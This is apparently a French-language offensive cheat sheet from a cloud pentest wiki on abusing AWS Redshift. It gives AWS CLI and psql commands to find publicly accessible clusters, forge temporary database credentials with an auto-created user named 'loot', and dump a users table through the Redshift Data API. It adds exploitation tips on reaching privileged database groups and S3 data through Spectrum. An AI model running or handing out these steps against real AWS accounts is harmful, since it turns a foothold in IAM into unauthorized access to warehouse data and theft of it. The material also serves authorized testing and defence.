Redshift est l'entrepôt de données, il concentre donc exactement les données qui valent la peine d'être prises. Un principal disposant de redshift:GetClusterCredentials forge un utilisateur et un mot de passe de base de données temporaires pour un cluster, créant automatiquement l'utilisateur lorsque c'est autorisé, ce qui transforme un point d'ancrage IAM en accès à l'entrepôt sans aucun mot de passe stocké. Les clusters accessibles publiquement avec des groupes de sécurité laxistes sont joignables directement, et la Redshift Data API exécute du SQL via le seul plan de contrôle.
Forger des identifiants et se connecter#
aws redshift describe-clusters \
--query 'Clusters[?PubliclyAccessible==`true`].[ClusterIdentifier,Endpoint.Address]'
aws redshift get-cluster-credentials \
--cluster-identifier <c> --db-user loot --auto-create --db-name dev
psql "host=<ep> port=5439 dbname=dev user=IAM:loot password=<temp>"
Interroger via la Data API#
aws redshift-data execute-statement --cluster-identifier <c> \
--database dev --sql 'select * from users limit 100'
aws redshift-data get-statement-result --id <stmt-id>
Notes d'exploitation#
GetClusterCredentialsavec--auto-createet une autorisationDbGroupslarge peut vous placer dans un groupe de base de données privilégié.- La Data API ne nécessite aucun chemin réseau vers le cluster, seulement IAM, elle fonctionne donc partout où les identifiants fonctionnent.
- Redshift Spectrum lit S3 via des schémas externes, étendant l'accès aux données du lac référencées par l'entrepôt.
Outils#
- AWS CLI (
redshift get-cluster-credentials,redshift-data execute-statement). - psql : client natif une fois les identifiants forgés.